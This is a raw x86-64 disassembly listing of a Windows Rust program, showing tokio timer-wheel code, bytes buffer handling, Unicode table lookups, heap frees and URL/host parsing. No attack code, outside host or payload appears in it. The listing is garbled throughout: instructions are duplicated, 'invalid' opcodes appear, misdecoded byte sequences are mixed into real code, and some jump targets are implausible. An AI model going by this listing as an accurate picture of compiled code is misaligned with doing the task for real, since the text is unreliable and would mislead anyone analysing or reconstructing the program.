jne 0x1400f48f0
jmp 0x1400f4a1f
mov qword [rsi + 0x40], r14
mov qword [rsi + 0x30], r14
mov r8, qword [rsi + 0x40]
cmp r8, 0xffffffffffffffff
je 0x1400f4b17
mov qword [rsi + 0x30], r8
mov rax, qword [rdi + 0x78]
cmp r8, rax
jbe 0x1400f49ee
xor rax, r8
or rax, 0x3f
movabs rcx, 0xffffffffe
cmp rax, rcx
cmovae rax, rcx
bsr rax, rax
xor al, 1
movzx eax, al
imul ecx, eax, 0x2b
shr ecx, 8
jmp 0x1979a915d
jo 0x1400f499f
cmp edx, ecx
jbe 0x1400f4aa4
mov rdx, qword [rdi + 0x68]
imul r9, rcx, 0x410
mov rax, qword [rsi + 0x30]
mov ecx, dword [rdx + r9 + 0x400]
or al, byte [rax]
add al, 0
add byte [rcx], al
leave
or al, byte [rax]
add al, 0
add byte [rcx], al
leave
lea ecx, [rcx + rcx*2]
shr rax, cl
add rdx, r9
and eax, 0x3f
mov r9d, eax
shl r9d, 4
lea rcx, [rdx + r9]
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x20], ebx
mov r9, qword [r9 + rdx]
cmp r9, rbx
je 0x1400f4b2f
mov qword [rsi + 0x28], r9
mov qword [rsi + 0x20], 0
test r9, r9
je 0x1400f49b5
mov qword [r9], rbx
mov qword [rcx], rbx
cmp qword [rcx + 8], 0
jne 0x1400f49c3
mov qword [rcx + 8], rbx
mov r9d, 1
mov ecx, eax
shl r9, cl
or qword [rdx + 0x408], r9
mov rax, qword [rdi + 0x90]
dec rax
cmp rax, r8
jb 0x1400f4a24
mov rcx, rdi
call fcn.1400ea5b0
jmp 0x1400f4a24
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400f4a24
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x40], 0xffffffffffffffff
mov rax, qword [rsi + 0x58]
nop dword [rax + rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc9
add dh, al
cmpxchg qword [rsi + 0x58], rcx
pop rax
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
pop rax
pop rax
jne 0x1400f4a10
test rax, rax
je 0x1400f4a46
xor edx, edx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x58], cl
jne 0x1400f4a67
test rdx, rdx
je 0x1400f4a7e
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [rdx + 8]
mov rdx, qword [rsi + 0x48]
push rsi
mov rbx, qword [rsi + 0x50]
mov rbx, qword [rsi + 0x50]
mov rbx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x58], cl
cmpxchg byte [rdi + 0x58], cl
je 0x1400f4a31
add rdi, 0x58
mov rcx, rdi
mov rsi, rdx
call fcn.14010b250
mov rdx, rsi
test rdx, rdx
jne 0x1400f4a36
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [rdi + 0x58]
lea ecx, [rdi + 0x58]
call fcn.14010b5f0
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x1400f48b5
jmp 0x1400f48c1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
call fcn.1401085b0
lea rcx, [0x14014d3d0]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140108990
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
or byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x28]
call fcn.140108560
lea rcx, str.Timer_already_fired
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x13
call fcn.140108990
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x20]
lea r8, [rsp + 0x28]
call fcn.140111d10
int3
mov esi, edx
mov rdi, rcx
call fcn.1400df770
add rax, r14
jae 0x1400f4bbd
call fcn.1400df770
add rax, 0x38640900
jb 0x1400f4bf8
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400f4be1
inc rax
je 0x1400f4bf8
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400f4be1
add byte [rsi], dh
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400f4c10
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
jmp 0x1400f4be1
invalid
mov r8d, edx
add r8d, ebx
cmp r8d, 0x3b9aca00
invalid
cmp esi, dword [rdx + 0x15]
invalid
inc rax
je 0x1400f4b6f
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
je 0x1400f4b6f
add byte [rsi], dh
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
mov rcx, rdi
mov rdx, rax
mov r9, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x1400f4170
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea edx, [0x140149448]
lea edx, [0x140149448]
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
in al, dx
enter 0, 0
mov rdi, r8
mov r15, rdx
mov rbx, rcx
cmp qword [rdx + 0x38], 0
add byte [rdi], cl
invalid
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rax + rax - 0x74b30000], ch
mov eax, dword [rdi + 0x40]
cmp qword [rdi + 8], r8
mov r8, qword [r15 + 0x40]
mov eax, dword [rdi + 0x40]
cmp qword [rdi + 8], r8
jb 0x1400f4d50
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.140012550
mov rsi, qword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
test rsi, rsi
je 0x1400f4d50
mov qword [r15 + 0x38], 0
mov rcx, qword [r15]
mov rax, qword [r15 + 0x18]
test rcx, rcx
je 0x1400f4cd2
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rcx], dh
ror byte [rax + 0x29], cl
enter 0xf48, 0x43
ror byte [rcx + 0x29], 1
enter 0x394c, 0xffffffffffffffc2
jbe 0x1400f4cfe
mov rcx, rdi
call fcn.1400126f0
mov qword [rbx + 8], rsi
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0x10], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0x20], rax
mov qword [rbx], 0
jmp 0x1400f4d56
mov rbp, qword [r15 + 0x20]
mov r14, qword [r15 + 0x18]
mov r10, qword [r15]
mov r9, qword [r15 + 8]
test r10, r10
mov rax, r9
cmove rax, r10
lea r11, [r14 + rbp]
cmp r11, rax
cmova rax, r11
mov r12, qword [rdi + 8]
cmp r12, rax
jae 0x1400f4d6a
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rbp, r12
ja 0x1400f50bc
cmp byte [r15 + 0x30], 0
je 0x1400f4e6f
mov qword [rsp + 0x48], 0
mov ecx, 8
sub rcx, r14
jb 0x1400f5104
xor eax, eax
mov rdx, r12
sub rdx, rbp
cmovae rax, rdx
cmp rax, r14
jb 0x1400f50ec
test r14, r14
je 0x1400f4f46
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x78], rbx
lea r13, [rsp + rcx]
add r13, 0x48
mov qword [rsp + 0x40], rdi
mov rsi, qword [rdi]
xor edi, edi
mov ebx, 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
lea rdx, [rsi + rbp]
mov rax, r12
sub rax, rbp
mov ecx, 0
cmovbe rdx, rbx
cmovae rcx, rax
mov r15, r14
sub r15, rdi
cmp rcx, r15
cmovb r15, rcx
lea rcx, [rdi + r13]
mov r8, r15
call fcn.140106530
add rbp, r15
jb 0x1400f50d4
cmp rbp, r12
ja 0x1400f50bc
invalid
add byte [rcx + rax - 1], cl
add rdi, r15
cmp rdi, r14
jb 0x1400f4df0
mov r8, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov r9, qword [rsp + 0x20]
mov r10, qword [rsp + 0x38]
mov r11, qword [rsp + 0x30]
bswap r8
cmp r8, qword [r15 + 0x10]
ja 0x1400f4f52
jmp 0x1400f4f62
mov qword [rsp + 0x48], 0
cmp r14, 9
jae 0x1400f5115
xor eax, eax
mov rcx, r12
sub rcx, rbp
cmovae rax, rcx
cmp rax, r14
jb 0x1400f50ec
test r14, r14
je 0x1400f4f59
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x40], rdi
mov r13, qword [rdi]
xor esi, esi
mov edi, 1
nop word cs:[rax + rax]
mov rdx, r13
add rdx, rbp
mov rax, r12
sub rax, rbp
mov ecx, 0
cmovbe rdx, rdi
cmovae rcx, rax
mov r15, r14
sub r15, rsi
cmp rcx, r15
cmovb r15, rcx
lea rcx, [rsp + rsi]
add rcx, 0x48
mov r8, r15
call fcn.140106530
add rbp, r15
jb 0x1400f50d4
cmp rbp, r12
ja 0x1400f50bc
add rsi, r15
cmp rsi, r14
jb 0x1400f4ed0
mov r8, qword [rsp + 0x48]
and al, 0x48
mov rdi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x28]
mov r9, qword [rsp + 0x20]
mov r10, qword [rsp + 0x38]
mov r11, qword [rsp + 0x30]
cmp r8, qword [r15 + 0x10]
ja 0x1400f4f52
jmp 0x1400f4f62
xor r8d, r8d
bswap r8
bswap eax
cmp r8, qword [r15 + 0x10]
jbe 0x1400f4f62
call fcn.1400f51c0
jmp 0x1400f4f82
xor r8d, r8d
cmp r8, qword [r15 + 0x10]
ja 0x1400f4f52
mov rax, qword [r15 + 0x28]
test rax, rax
js 0x1400f4f72
add r8, rax
jb 0x1400f4f7d
jmp 0x1400f4f95
mov rcx, rax
neg rcx
cmp r8, rcx
jae 0x1400f4f92
call fcn.1400f5250
mov qword [rbx + 8], rax
mov qword [rbx], 1
jmp 0x1400f4d56
add r8, rax
test r10, r10
cmove r9, r11
mov qword [rsp + 0x80], r9
cmp r12, r9
cmp esp, ecx
cmp esp, ecx
jb 0x1400f5129
test r9, r9
je 0x1400f4fe7
mov r14, qword [rdi + 0x18]
test r14b, 1
je 0x1400f5064
mov rbp, rdi
mov rdi, r14
shr rdi, 5
lea rax, [rdi + r9]
mov rcx, rax
shr rcx, 0x3b
jne 0x1400f4ff0
mov rax, qword [rdi + 0x10]
jmp 0x1400f507f
add qword [rdi], r9
xor eax, eax
sub r12, r9
cmovb r12, rax
mov qword [rdi + 8], r12
mov rax, qword [rdi + 0x10]
sub rax, r9
mov qword [rdi + 0x10], rax
mov dword [rdi + 0x10], eax
mov dword [rdi + 0x10], eax
xor edx, edx
mov rcx, r8
sub rcx, r12
cmovae rdx, rcx
sub rax, r12
cmp rdx, rax
jbe 0x1400f50a1
mov rcx, rdi
mov rsi, r8
call fcn.1400126f0
mov r8, rsi
mov qword [r15 + 0x38], 1
mov qword [r15 + 0x40], r8
cmp qword [rdi + 8], r8
jae 0x1400f4c85
jmp 0x1400f4d50
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014fb98]
mov edx, 0x36
call fcn.140108630
lea rcx, str.overflow
lea r8, [0x14014fbb8]
mov edx, 8
call fcn.140108990
lea rcx, str.assertion_failed:_self.remaining_____dst.len__
lea r8, [0x14014fa58]
mov edx, 0x2f
call fcn.140108630
lea r8, [0x14014fa70]
mov edx, 8
call fcn.1401085a0
lea r8, [0x14014fa10]
mov edx, 8
mov rcx, r14
call fcn.140108620
mov qword [rsp + 0x88], r12
lea rax, [rsp + 0x80]
mov qword [rsp + 0xa8], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x88]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x48]
call fcn.140108560
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
int3
test rax, rax
je 0x1400f5315
mov rdi, rax
mov qword [rax], 0x2f
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 0x2f
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f5324
mov qword [rax], rdi
lea rcx, [0x14014f928]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x14
adc al, 0x48
inc eax
adc al, 0x48
inc eax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
ud2
int3
adc eax, 0x5a855
mov r8d, 0x12
jmp rax
jmp rax
jmp rax
cmpsb byte [rsi], byte [rdi]
cmpsd dword [rsi], dword [rdi]
rcr byte [rdx + 0x17], 1
movabs rdx, 0x3a0c8dc861d832f4
ret
add bl, ch
invalid
cmp r10d, ecx
cmova r9, r8
mov r8, r9
sub r8, rdx
jbe 0x1400f5452
shr r8, 1
add r8, rdx
lea r11, [r8 + r8*2]
mov r10d, dword [rax + r11*4]
mov esi, dword [rax + r11*4 + 4]
cmp esi, ecx
jb 0x1400f543b
cmp r10d, ecx
jbe 0x1400f544a
cmp esi, ecx
jae 0x1400f5410
mov rdx, r8
inc rdx
mov r8, r9
jmp 0x1400f5410
movzx eax, byte [rax + r11*4 + 8]
pop rsi
ret
mov al, 9
pop rsi
ret
imul edx, ecx, 0x31415926
xor eax, edx
imul rax, rax, 0x39a
shr rax, 0x20
lea r8, [0x140153ff4]
movzx eax, word [r8 + rax*2]
add eax, ecx
imul eax, eax, 0x9e3779b9
mov ecx, 0x319e3779
ror byte [rax + 0x69], 1
rcr byte [rdx + 0x48000003], 0xc1
call 0x1559c9cbd
xchg edx, esi
add eax, 0x82148b00
mov ecx, 0x319e3779
ror byte [rax + 0x69], 1
rcr byte [rdx + 0x48000003], 0xc1
call 0x1559c9cbd
xchg edx, esi
add eax, 0x82148b00
mov r8d, edx
shr r8d, 8
xor eax, eax
cmp r8d, ecx
cmove eax, edx
ret
invalid
sub eax, dword [rax]
add byte [rdi + 0x3c], dh
lea r8d, [rdx - 0x11a8]
cmp r8d, 0x1a
ja 0x1400f5535
movzx r8d, ax
shr r8d, 2
imul r8d, r8d, 0x4925
shr r8d, 0x11
lea r9d, [r8 + r8*8]
lea r9d, [r9 + r9*2]
add r9d, r8d
sub eax, r9d
test ax, ax
jne 0x1400f5535
lea eax, [rcx + rdx]
add eax, 0xffffee59
out dx, al
invalid
inc ebx
out dx, al
invalid
mov eax, edx
or eax, ecx
cmp eax, 0x10000
ror byte [rcx], 1
enter 0x3d, 0
add dword [rax], eax
jae 0x1400f5597
shl ecx, 0x10
loope case.0x140031ef2.2843
or ecx, edx
imul eax, ecx, 0x9e3779b9
imul edx, ecx, 0x31415926
xor eax, edx
imul rax, rax, 0x3a0
shr rax, 0x20
lea r8, [0x140155590]
movzx eax, word [r8 + rax*2]
add eax, ecx
imul eax, eax, 0x9e3779b9
sahf
shl byte [rax + 0x48000003], 0xc1
call 0x1459ca181
sub eax, dword [rax]
invalid
sahf
xor eax, edx
imul rdx, rax, 0x3a0
movabs al, byte [0x4c20eac148000003]
lea eax, [0x140155cd0]
movabs al, byte [0x4c20eac148000003]
lea eax, [0x140155cd0]
mov eax, 0x110000
cmp dword [r8 + rdx*8], ecx
or al, 0xd0
or al, 0xd0
jne 0x1400f5596
mov eax, dword [r8 + rdx*8 + 4]
ret
mov eax, 0x110000
cmp ecx, 0x11346
jg 0x1400f55db
cmp ecx, 0x110a4
jle 0x1400f5612
add byte [rsi + 0x66], bh
cmp ecx, 0x110a5
je 0x1400f56a0
cmp ecx, 0x115b7
add dword [rax], eax
jle 0x1400f5635
cmp ecx, 0x115b8
je 0x1400f56af
cmp ecx, 0x115b9
je 0x1400f56cd
add byte [rax], al
cmp ecx, 0x11935
jne 0x1400f5596
cmp edx, 0x11930
mov ecx, 0x11938
cmove eax, ecx
ret
cmp ecx, 0x11099
je 0x1400f566f
cmp ecx, 0x1109b
jne 0x1400f5596
cmp edx, 0x110ba
mov ecx, 0x1109c
cmove eax, ecx
ret
cmp ecx, 0x11347
je 0x1400f567e
cmp ecx, 0x114b9
jne 0x1400f5596
invalid
invalid
invalid
invalid
invalid
inc dword [rcx + 0x114b0fa]
add byte [rdi], cl
test byte [rbp - 0x7f000000], cl
cli
mov edx, 0x74000114
jg 0x1400f55df
cmp edx, 0x114b0
je 0x1400f56e2
cmp edx, 0x114ba
je 0x1400f56dc
cmp edx, 0x114bd
jne 0x1400f5596
invalid
invalid
invalid
invalid
invalid
cli
mov ebp, 0xf000114
add dword [rax], eax
invalid
test dword [0xf90f5669], ebp
mov esi, 0xc3000114
mov eax, 0x114be
ret
cmp edx, 0x110ba
mov ecx, 0x1109a
cmove eax, ecx
ret
cmp edx, 0x11357
mov eax, 0x1134c
push rdi
adc eax, dword [rcx]
add byte [rax + 0x1134c], bh
mov ecx, 0x110000
cmove ecx, eax
cmp edx, 0x1133e
mov eax, 0x1134b
cmovne eax, ecx
ret
cmp edx, 0x115af
mov ecx, 0x115ba
cmove eax, ecx
ret
cmp edx, 0x115af
mov ecx, 0x115bb
cmove eax, ecx
ret
mov eax, 0x114bb
ret
mov eax, 0x114bc
ret
and al, 0x40
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x1400f56e1
mov ah, 0x24
and byte [rcx], al
add byte [rax], al
mov rsi, rcx
test r8, r8
invalid
je 0x1400f578b
cmp byte [rdx], 0x5b
jne 0x1400f578b
cmp byte [rdx + r8 - 1], 0x5d
jne 0x1400f5ab0
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbp - 0x77], cl
ror dword [rcx - 1], 0xc9
dec r9
mov r9, r8
dec r9
je 0x1400f619c
cmp byte [rdx + 1], 0xbf
jle 0x1400f61bf
inc rdx
add r8, 0xfffffffffffffffe
lea rcx, [rsp + 0x30]
call fcn.1400f6410
cmp byte [rsp + 0x30], 0
je 0x1400f5b52
test ah, dl
add eax, dword [rax]
invalid
test ah, dl
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x44
and al, 0x31
movzx eax, byte [rsp + 0x31]
mov byte [rsi + 8], al
jmp 0x1400f5ab4
add r8, rdx
lea rdi, [rsp + 0x98]
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
call fcn.140049f10
mov r12, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
movabs r15, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rbx + rcx*4 - 0x4c], 0x24
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rbx + rcx*4 - 0x4c], 0x24
test al, 0
add byte [rax], al
cmp r12, r15
jne 0x1400f57da
lea rcx, [rsp + 0x80]
mov rdx, rbx
mov r8, r14
call fcn.140010d00
jmp 0x1400f583e
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
call fcn.140010d00
cmp qword [rsp + 0x30], r15
jl 0x1400f5812
xor byte [rbp + 0x1a], dh
jl 0x1400f5812
xor byte [rbp + 0x1a], dh
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], r14
and al, 0x90
add byte [rax], al
add bl, ch
invalid
and al, 0x90
add byte [rax], al
add bl, ch
xor ecx, dword [rax - 0x75]
and al, 0x40
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x90], rax
movdqu xmm0, xmmword [rsp + 0x30]
test byte [rax + rdx*4], ah
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x30]
xor byte [rsi + 0xf], ah
movdqa xmmword [rsp + 0x80], xmm0
test r12, r12
je 0x1400f583e
jg 0x1400f57a6
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x74
adc cl, byte [rax - 0x75]
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or byte [rax], al
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
mov r14, qword [rsp + 0x88]
mov esi, dword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
invalid
je 0x1400f587c
and al, 0x90
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
js 0x1400f6197
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
mov edx, ebx
call fcn.1400df910
test rax, rax
invalid
jne 0x1400f5881
sal byte [rbp + 0x12], 0xb9
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
mov eax, 1
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0
mov byte [rsp + 0x64], 0
mov dword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x64
add bh, al
and al, 0x60
and al, 0x60
and al, 0x60
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
invalid
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
invalid
jg 0x1400f5908
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
movq qword [rsp + 0x40], mm0
movq qword [rsp + 0x40], mm0
and al, 0x40
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x20], rdi
and byte [rax - 0x73], cl
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x30
and byte [rax - 0x73], cl
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x30
mov r8, r14
mov r9, rbx
call fcn.140041330
mov r13, qword [rsp + 0x98]
invalid
mov rdi, qword [rsp + 0xa0]
cmp byte [rsp + 0x108], 2
jne 0x1400f5921
add byte [rax + 0x10824bc], al
or byte [rcx], al
add byte [rax], al
add dh, byte [rbp + 0x12]
mov rbx, qword [rsp + 0xa8]
cmp qword [rsp + 0x30], 0
add byte [rbp + 0x36], dh
add byte [rbp + 0x36], dh
jmp case.0x140031ef2.2845
mov r14, qword [rsp + 0x108]
mov r14, qword [rsp + 0x108]
mov ebx, dword [rsp + 0x110]
test r13, r13
je 0x1400f5947
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, r14
mov r13, r15
cmp qword [rsp + 0x30], 0
je case.0x140031ef2.2845
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
neg ecx
add dword [rax], eax
neg ecx
add dword [rax], eax
cmp qword [rsp + 0x48], 0
je 0x1400f5985
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
fcmovnu st(0), st(1)
add dword [rax], eax
invalid
fcmovnu st(0), st(1)
add dword [rax], eax
invalid
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75c53949], al
invalid
jne 0x1400f59aa
movabs rax, 0x8000000000000000
cmp r13, rax
invalid
jne 0x1400f59aa
invalid
mov byte [rsi + 8], 1
movabs rax, 0x8000000000000002
or byte [rax - 0x77], 6
or byte [rax - 0x77], 6
jmp 0x1400f5aec
test rbx, rbx
je 0x1400f5ac3
add byte [rax], al
add byte [rax], al
lea rax, [rdi + rbx]
lea rcx, [0x140179978]
mov rdx, rdi
cmp rdx, rax
je 0x1400f5b6f
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
invalid
js 0x1400f59f0
sar byte [rax + 0x19], 0x48
inc edx
inc rdx
cmp r8d, 0x20
jae 0x1400f5a80
jmp 0x1400f5a98
mov r9d, r8d
and r9d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400f5a4d
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp r11b, 0xf0
jb 0x1400f5a63
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400f5b6f
test byte [rsi], ch
add dword [rax], eax
invalid
test byte [rsi], ch
add dword [rax], eax
add byte [rax - 0x7d], cl
ret 0x4104
add rdx, 4
cmp r8d, 0x20
jae 0x1400f5a80
jmp 0x1400f5a98
add rdx, 2
shl r9d, 6
or r9d, ebp
mov r8d, r9d
cmp r8d, 0x20
jae 0x1400f5a80
jmp 0x1400f5a98
add rdx, 3
shl r9d, 0xc
shl ecx, 0xc
shl ecx, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0x20
jb 0x1400f5a98
nop word [rax + rax]
nop dword [rax + rax]
add r8d, 0xffffffe0
cmp r8d, 0x5f
ja case.default.0x1400f5a95
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
mov byte [rsi + 8], 5
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
jne 0x1400f5ada
jmp 0x1400f5aec
mov byte [rsi + 8], 4
movabs rax, 0x8000000000000002
mov qword [rsi], rax
jmp 0x1400f5b13
xor eax, eax
mov byte [rsi + 8], al
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
je 0x1400f5aec
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400f5b13
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x120]
movaps xmm7, xmmword [rsp + 0x130]
movaps xmm8, xmmword [rsp + 0x140]
movaps xmm9, xmmword [rsp + 0x150]
movaps xmm10, xmmword [rsp + 0x160]
add rsp, 0x178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x31]
movdqu xmm0, xmmword [rax]
movdqu xmmword [rsi + 8], xmm0
movabs rax, 0x8000000000000001
jmp 0x1400f5abe
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rbx
movabs r14, 0x2e0000002e
mov qword [rsp + 0x60], r14
mov byte [rsp + 0x68], 1
mov word [rsp + 0x70], 1
lea rcx, [rsp + 0x30]
call fcn.1400f6220
test rax, rax
je 0x1400f61df
test rdx, rdx
je 0x1400f5c86
xor ecx, ecx
nop
cmp rdx, rcx
je 0x1400f5bf8
movzx r8d, byte [rax + rcx]
add r8b, 0xd0
inc rcx
cmp r8b, 0xa
jb 0x1400f5bd0
mov rcx, rax
call fcn.1400f62b0
cmp eax, 2
je 0x1400f5c9e
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rbx
lea rdx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], rbx
